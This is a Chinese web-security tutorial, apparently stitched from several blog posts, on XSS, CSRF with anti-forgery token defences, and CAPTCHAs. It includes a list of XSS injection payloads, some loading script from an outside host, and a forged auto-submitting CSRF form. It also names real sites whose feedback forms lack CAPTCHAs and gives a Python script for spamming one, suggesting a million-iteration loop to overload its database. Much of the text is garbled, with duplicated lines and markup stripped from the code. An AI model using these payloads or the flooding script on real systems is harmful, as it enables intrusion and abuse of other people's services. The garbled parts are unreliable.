跨站脚本(XSS)与跨站请求伪造(CSRF)
XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行。在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息的泄漏。如今,仍然没有统一的方式来检测XSS漏洞,但是对于前端开发人员而言,仍是可以在某些细微处避免的,因此本文会结合笔者的学习和经验总结解决和避免的一些方案,并简要从webkit内核分析浏览器内核对于XSS避免所做的努力,了解底层基础设施对预防XSS所做的贡献。
data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+ 会导致同样的问题。该段编码的字串解码后是“alert(document.cookie)”。持久型XSS
持久型XSS仍然需要服务端的参与,它与反射型XSS的区别在于XSS代码是否持久化(硬盘,数据库)。反射型XSS过程中后端服务器仅仅将XSS代码保存在内存中,并未持久化,因此每次触发反射性XSS都需要由用户输入相关的XSS代码;而持久型XSS则仅仅首次输入相关的XSS代码,保存在数据库中,当下次从数据库中获取该数据时在前端未加字串检测和excape转码时,会造成XSS,而且由于该漏洞的隐蔽性和持久型的特点,在多人开发的大型应用和跨应用间的数据获取时造成的大范围的XSS漏洞,危害尤其大。这就需要开发人员培养良好的WEB前端安全意识,不仅仅不能相信用户的输入,也不能完全相信保存在数据库中的数据(即后端开发人员忽视的数据安全检测)。针对持久型XSS没有好的解决方式,只能由开发人员保证。当然规则是由开发者制定,如果忽略用户体验的话,可以制定一套严谨的输入规则,对相关关键词和输入类型(如data URI检测,禁止输入)的检测和禁止,尽可能规避用户发现XSS漏洞的可能性,从源头处理。
DOM XSS
DOM XSS完全在前端浏览器触发,无需服务端的参与,因此这是前端开发工程师的“地盘”,理应获得我们的关注。
e.x.
localhost/test.html
<script>
eval('alert(location.hash.slice("1"))');
script>
如果访问localhost/test.html#document.cookie ,那么就会触发最简单的危害非常大的DOM XSS。它完全没有服务端的参与,仅仅由用户的输入和不安全的脚本执行造成,当然在本例中仅仅是最简单的情况,如果用户输入字符串‘’或者text/html格式的data URI,则更难检测,也危害更大,黑客操作起来更为容易。
因此预防DOM XSS,需要前端开发人员警惕用户所有的输入数据,做到数据的excape转义,同时尽可能少的直接输出HTML的内容;不用eval、new Function、setTimeout等较为hack的方式解析外站数据和执行js脚本;禁止内联事件处理函数;如果在考虑安全性的前提下需要获取外站脚本的执行结果,可以采用前端沙盒(建立空的iframe执行脚本,该iframe无法操作当前文档对象模型)、worker线程的方式完成,保证DOM的安全。
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
浏览器中的XSS过滤器
为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图
如果需要做测试, 最好使用IE7。
XSS注入常用语句
- //经典语句,哈哈!
- >"'>
- >"'>
- "+alert('XSS')+"
- '>
- ='>
alert('XSS')- %0a%0a.jsp
- %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
- %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
- %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
- a.jsp/
- ">
- "
";'>out
alert('XSS'); .XSS{background-image:url("javascript.:alert('XSS')");} BODY{background:url("javascript.:alert('XSS')")} - getURL("javascript.:alert('XSS')")
- a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
- "> <"
"SRC="http://xss.ha.ckers.org/a.js"> '"SRC="http://xss.ha.ckers.org/a.js"> - PTSRC="http://xss.ha.ckers.org/a.js">
- link
1. 什么是跨站请求伪造(CSRF)
CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
以上是来自百度百科的概念。下面各自举个简单的例子说明:
XSS:假设没有预防XSS,我在文章评论区域输入: 并且成功提交。那么下次进来这个页面进来,就会不断弹出对话框,导致该页面无法被正常浏览;对此我们在输出内容时,如果该内容是用户输入的,那么就应该进行Html Encode,如上面的脚本就会以普通文本的形式显示出来。不仅如此,攻击脚本还可以读取用户cookie信息,做任何脚本能做的事情。
CSRF:与XSS不同,CSRF利用的当前信任用户,让用户不知不觉的“自己提交”数据。例如用户 B 在用户 A 的文章评论区域上传一张图片,如:
[img]http://images2015.cnblogs.com/blog/798800/201512/798800-20151230205214839-1087717627.jpg[/img]
然后把它改成:
[img]http://Another/Forgery.html[/img]
这是一张无效的图片,并且来自于另一个站点。在 Forgery.html 中,伪造者创建一个表单,action指向要攻击的页面,当window.onload 执行时自动提交表单。
那么用户 A 在访问该页面时,就会发起请求到Another/Forgery.html。由于Web的身份验证信息通常会保存在浏览器cookie中,而cookie每次都会随请求提交到服务器,所以这个请求会把cookie 和 Forgery.html 的表单信息一起提交到服务器。服务器对Cookie进行相关验证,并且认为这是一个正常的请求,执行相关操作。
2. 模拟一次攻击
按照上面的思路,接下来我们模拟一次攻击。新建一个mvc项目,主要有两个页面,一个页面用于显示用户姓名和评论,另一个页面用于用户自己修改姓名。只是为了演示,这里我们固定一个用户:张三。如:
1 2 3 4 5 6 7 8 9 10 11 12 publicclassCurrentUser{privatestaticCurrentUser currentUser =newCurrentUser(){Name="张三"};publicstringName{get;set;}publicstaticCurrentUser Current{get{returncurrentUser;}}}显示页面为:
本站点的另一个页面用于修改用户姓名:
1 2 3 4 5 6 7 8 9 10 11 12 <div>修改用户信息:div><formaction="/home/update" method="post"><p><label>用户名:label><inputname="name" />p><p><inputtype="submit" />p>form>对应Action为Update,为了提高安全性,我们给它标记一个[HttpPost]特性(实际情况这里会进行身份验证,然后根据用户id去修改信息)。如:
1 2 3 4 5 6 [HttpPost]publicActionResult Update(stringname){CurrentUser.Current.Name = name;returnRedirectToAction("Index");}可以看到上面的评论区域有一个链接,来自另一个站点,它的代码很简单,与我们的修改页面类似,如下:
1 2 3 4 5 6 7 8 9 10 11 12 <body><div><formid="form" action="http://localhost:50025/home/update" method="post"><inputtype="hidden" name="name" value="2b" />form>div>body><scripttype="text/javascript">window.onload = function () {document.getElementById("form").submit();}script>可以看到,该页面表达的action指向了前面的站点的修改页面,并且在页面load完后,就会自动提交。当张三点击这个链接后,会发生什么呢?如下:
3. 如何防止
3.1 尽早防范
永远不要相信用户提交的数据。通常我们会在前台和后台对用户的输入进行验证,确保数据的正确性和安全性。以上面的例子,如果用户上传一张图片,然后修改成.html的格式,那么应该不让它保存。我们可以看博客园的例子,如果这样做,可以保存,但显示出来就是普通文本的格式,这样页面加载时就不会对这个url发起请求。再看csdn,则会弹出提示非法输入。
cnblogs:
csdn:
当然,这样只是第一道屏障。很多网站也可能像上面可以输入外部链接,如果用户去点击,依然可能被攻击。所以我们还需要进一步防范。
3.2 MVC 的做法
前面我们模拟了CSRF的过程,接下看MVC里如何应对这种情况。
ValidateAntiForgeryAttribute特性
这是一个继承了FilterAttribute 和 实现了 IActionFilter 的标记特性,它可以应用在Controller或者Action上面。我们知道实现IActionFilter的 Filter会在 Action执行前进行相关处理,具体逻辑在 IActionFilter接口的 OnAuthorization 方法中。MVC 就是在这个方法中进行验证的。具体是如何验证的呢?
AntiForgeryToken方法
ValidateAntiForgery特性表示操作需要验证,我们还需要使用HtmlHelper的 AntiForgeryToken方法,这是一个实例方法。具体是在View的表单里调用该方法,该方法会生成一个name为__RequestVerificationToken的 input hidden标签,值就是防伪令牌。除此之外,还会生成一个同样名称并且标记为HttpOnly的cookie,值也是通过加密生成的防伪令牌。ValidateAntiForgery特性的OnAuthorization方法就是根据这两个进行验证的。具体是:
1. 用户请求该页面,AntiForgeryToken方法会生成一个input hidden 和 cookie,值都是经过加密处理的Token。
2. 用户提交请求,如果Action(Controller)标记了 ValidateAntiForgery特性,则进行验证。
2.1 如果表单没有一个name为 __RequestVerificationToken的元素,则抛出HttpAntiForgeryException。
2.2 如果没有一个name为__RequestVerificationToken的cookie,则抛出HttpAntiForgeryException。
2.3 解析input 和 cookie 的值,判断是否匹配(包括用户名、时间等的比较),不匹配则抛出HttpAntiForgeryException。
3. 接收到异常,显示错误页或抛出黄页。
至于 input 的值 和 cookie 的生成,mvc内部会根据当前用户名,时间以及集合 MachineKey 等去加密生成,确保不会轻易被猜出。有兴趣的朋友可以通过源码了解详细过程。
按照上面的做法,我们给Update加上一个[ValidateAntiForgery]特性,并且在表单调用HtmlHelper的AntiForgeryToken方法。此时如果用户点击链接,一样访问了Forgery.html,并且自动提交表单,cookie还是一样会提交,但伪造页面无法知道input hidden 的值,所以无法通过验证。
3.3 WebForm 的做法
WebForm 没有 AntiForgeryToken方法 可以直接使用,不过知道MVC的实现过程后,我们也可以自己实现一套。
在页面表单,像mvc一样,我们也输出一个名称为:_RequestVerificationToken 的 input hidden 标签,值为序列化后的Token,具体是调用 HttpRespose 的扩展方法AntiForgeryToken。AntiForgeryToken方法不仅会输入input hidden,还会将Guid存储在Context.Item,这是一个在一次请求内各个时期可以使用的集合,在页面周期完成后,我们判断是否有这个标记,如果有,还需要将它写入到Cookie当中。
表单:
1 2 3 4 5 6 7 <formid="Form1" action="UpdateAntiCsrf.aspx" method="post" runat="server"><div><%=Response.AntiForgeryToken() %><inputtype="text" name="name"/><inputtype="submit"/>div>form>AntiForgeryToken扩展方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 publicstaticclassHttpResposeExtentions{publicstaticstringAntiForgeryToken(thisHttpResponse response){HttpContext context = HttpContext.Current;if(context ==null){thrownewInvalidOperationException("无效请求!");}Guid guid = Guid.NewGuid();context.Items["_RequestVerificationToken"] = guid;ObjectStateFormatter formatter =newObjectStateFormatter();returnstring.Format("", formatter.Serialize(guid));}}对于验证Token,和将GUID写入到Cookie是通过一个AntiCsrfModule完成的,它主要拦截页面执行前和执行后两个事件。页面执行后完成上面是否需要将GUID写入Cookie的判断,而页面执行前则判断是否需要验证,以及验证结果,一旦不匹配,就抛出异常。代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 publicclassAntiCsrfModule : IHttpModule{publicvoidDispose (){}publicvoidInit(HttpApplication app){app.PreRequestHandlerExecute +=newEventHandler(app_PreRequestHandlerExecute);app.PostRequestHandlerExecute +=newEventHandler(app_PostRequestHandlerExecute);}voidapp_PreRequestHandlerExecute(objectsender, EventArgs e){HttpContext context = ((HttpApplication)sender).Context;HttpRequest request = context.Request;IHttpHandler handler = context.Handler;if(handler.GetType().IsDefined(typeof(ValidationAntiForgeryAttribute),true)){if(request.HttpMethod.Equals("POST", StringComparison.CurrentCultureIgnoreCase)){HttpCookie cookie = request.Cookies["_RequestVerificationToken"];if(cookie ==null){thrownewInvalidOperationException("无效请求!");}stringvalue = request.Form["_RequestVerificationToken"];if(string.IsNullOrEmpty(value)){thrownewInvalidOperationException("无效请求!");}ObjectStateFormatter formatter =newObjectStateFormatter();Guid? guid = formatter.Deserialize(value)asGuid?;if(guid.HasValue && guid.Value.ToString() == cookie.Value){return;}thrownewInvalidOperationException("无效请求!");}}}voidapp_PostRequestHandlerExecute(objectsender, EventArgs e){HttpContext context = ((HttpApplication)sender).Context;Guid? guid = context.Items["_RequestVerificationToken"]asGuid?;if(guid.HasValue){HttpCookie cookie =newHttpCookie("_RequestVerificationToken", guid.Value.ToString());cookie.HttpOnly =false;context.Response.Cookies.Add(cookie);}}}对于需要验证的页面,通过一个ValidateAntiForgeryAttribute特性标记,如下:
1 2 3 publicclassValidateAntiForgeryAttribute : Attribute{}同样,我们像前面一样模拟一次攻击。结果如我们所想,会抛出黄页。
3.4 Ajax 方式
上面我们都是通过Post 表单的形式提交数据,如果是以ajax提交的呢?我们可以在后台判断请求是否是Ajax请求,如果不是则不允许操作。因为js受同源策略限制,另一个域在没有被授权的情况下,脚本是无法和本域进行通信的。也就是Another/Forgery.html可以以post的形式提交数据到我们后台,但没办法以ajax的形式提交,也没办法调用我们页面的方法或者访问dom元素。
4. 博客园的实现
例子就在身边。我们看到博客园【设置基本资料】模块,查看源码就会发现这里用用到了这个技术。
表单:
Cookie:
背景介绍
先说一个在互联网上常见,但是普通人又不太理解的东西--“验证码”。
验证码(CAPTCHA)是“Completely Automated Public Turing test to tell Computers and Humans Apart”(全自动区分计算机和人类的图灵测试)的缩写,是一种区分用户是计算机还是人的公共全自动程序。可以防止:恶意破解密码、刷票、论坛灌水,有效防止某个黑客对某一个特定注册用户用特定程序暴力破解方式进行不断的登陆尝试,实际上用验证码是现在很多网站通行的方式,我们利用比较简易的方式实现了这个功能。这个问题可以由计算机生成并评判,但是必须只有人类才能解答。由于计算机无法解答CAPTCHA的问题,所以回答出问题的用户就可以被认为是人类。
一般对于开放式的互联网应用,在有需要“上行”数据接口的地方都需要加上一道验证码(也可以是验证短信,但是考虑到成本问题,验证码还是更普遍一些),以防止机器程序使用其远高于人的计算能力进行一些恶意破坏行为。所谓的恶意行为从技术本质上讲就是利用web应用已经提供的一些接口,来对网站主的后台数据库进行 增/删/改/查 的操作,而且由于这种操作是由计算机来完成,计算机巨大的计算能力常常伴产生极恐怖的破坏力。
- 查询数据
-
- 耗尽网络式攻击。攻击者网络带宽资源超级丰富的,可以OS占满被攻击对象的入口和出口带宽,无法对外正常提供服务。
- 耗尽服务器负载攻击。大量高并发的数据库请求,超过数据库的最大连接数,导致web应用无法完成数据库的正常查询。
- 耗尽服务器CPU攻击。对于有复杂计算的应用,每次调用一次服务会造成大量的CPU消耗,导致服务异常。
- 耗尽服务器内存攻击。通过查询产生大量的session,耗尽服务器内存。
- 增加数据
-
在web应用里面恶意注册几十万级别的 僵尸 用户。然后通过程序来操控这些用户来投票,转发,刷帖等等。比如,微博,广告行业
- 删除/修改数据
-
造成数据的不正常,这样的后果也是不可估量的。比如金融行业,比如电子交易行业。
通过“图灵测试”可以达到对自然人和机器的良好区分,以达到将机器程序抵挡在外面的目的,阻止其利用其强大的计算能力和自动化信息处理能力来实施破坏。这就是“验证码”的最基本作用。
3 主要工具
- Google搜索引擎
-
搜索资料和寻找“猎物”
- Chrome
-
查看web应用提供的接口的最简单的方式
- Wireshark
-
一种高级的查找接口的工具,可在某些不适合Chrome的场合进行使用
- Python
-
编码破解代码的脚本
4 寻找攻击对象
通过搜索引擎,找关键字:“意见反馈”、“用户反馈”,
“用户反馈”模块有如下特点:
- 有数据上行。因为有向服务器提交数据,会通过相应的接口往网站主服务器上写相应的数据。
- 在Web应用里面重要性很低。很多是象征的摆设,所以安全防范极低。
- 不涉及具体的重要业务。可以在练手的同时,也不会产生多少破坏。
只需要找出里面没有验证码的页面就可以了,主要的搜索结果如下:
有验证码的网站:
- 360好搜
- 凤凰网
- 56.com
无验证码的网站:
- 新浪微博
- 搜狗网址导航
- 百度音乐
- 百度百科
- 网易163
- 有道词典
- 易车
- 114la
- 中科大教务处
这只是Google的前两页的搜索结果,发现已经有一大半在这一块是没有进行任何防守的。既然已经找到了这么一个简单的安全“漏洞”,下面就开始实施无关痛痒的“攻击”行为。
由于本文主要是出于学习和交流目的,为了保护实验对象的一些隐私,所以下面的图片和相应的URL都会进行一些简单的马塞克。
5 收集api信息
由于Web应用系统本身是不对外开放api的,但是互联网公司的产品为了追求高扩展性和前后端完全分离独立,通常使用如下技术架构:
互联网应用的架构,客户端和服务器一般都是基于Http API来进行通讯,所以对于B/S的程序来说,可以很容易通过一些辅助工具来找到通讯的接口。
某个网站“有幸”被选中了:
http://x.xxx.xx/ugc/out/feedback/
使用Chrome浏览器打开页面
然后填写好表单之后,点击提交按钮。当然,因为提交按钮之后,会跳转到另外一个页面,不便于我们查看提交的数据值,所以要做一些简单的修改,就是表单提交的服务器API简单修改成一个不存在的即可:
然后在Chrome的Network里面可以看到接口信息:
然后将右侧的接口详细数据信息展开,就可以查看到表单值:
这个表单就告诉了我们此网站应用的服务器端API所接收的合法的数据的格式,这样就相当于知道了调用的方式了。
知道了接口,知道了调用方式,那么接下来就可以通过写程序来实施“黑客”行为了。
6 编写crack脚本
由于本人python比较熟悉,所以就使用python来进行相应的操作演示
deftest_crack_feedback(self):"""反馈页面刷的测试:return:"""url_para={'proType':5,'platType':1,'referer':'https://www.google.com/','content':'看你们是否存在此漏洞','tel':'123144','email':'adsf@11','qq':'123544','location':'北京市','ip-location':'北京市','ip-service':'联通',}post_url='http://x.xxx.xx/ugc/out/feedback/?act=add'res=requests.post(post_url, data=url_para)glog.debug(res.text)返回值
[2015-05-2710:58:51,166] connectionpool.py:_new_conn-(259)INFO: Starting new HTTP connection (1): x.xxx.xx[2015-05-2710:58:51,764] connectionpool.py:_make_request-(390)DEBUG: Setting read timeout toNone[2015-05-2710:58:52,175] connectionpool.py:_make_request-(430)DEBUG:"POST /ugc/out/feedback/?act=add HTTP/1.1"200None[2015-05-2710:58:52,245] singlefun.py:run_xxx-(29)DEBUG: {"retcode":200,"message":null}根据200的状态码,明显是成功了。因为有经验的Web开发人员都清楚,Http的200状态码就表示成功调用的返回值了。
如果我使用个for循环,将此程序运行100万次,那么这个网站主的这个地方的数据库估计就要抓狂了。如果使用多个机器连续疯狂的刷,而且恰好这个数据表和他们的核心业务数据库放在一起,那么这将会导致数据库连接数量超过极限,导致正常的服务无法被提供了。
7 总结
本文只是演示了如何利用Chrome去寻找Web应用的接口及调用。而对于看不到前端代码的App应用,则可以通过抓包工具Wireshark来轻松获得相应的接口及调用。网站主避免此漏洞的方法:给相应的位置加上可靠的“验证码”即可。 PS:传统的字符型验证码,稍微会一些图片识别技术,或者机器学习技术,也是相当好破解的。目前的OCR技术已经相当发达了,想想注册Gmail的时候,那一串人都不认识的字符,结果程序可以进行90%的成功破解率,可想而之机器远比人类想像得要厉害。当然,如何做好“图灵测试”对“自然人”和“机器人”进行区分,已经成为安全领域的一个重要的课题,也非本文重点讨论的问题了,有兴趣的同学可以在相关领域继续研究吧。
这个事情给做Web应用系统的人员两个警钟:
- 所有涉及到数据交互的地方,最好加上验证码。
- 数据尽量要按照重要等级分开部署。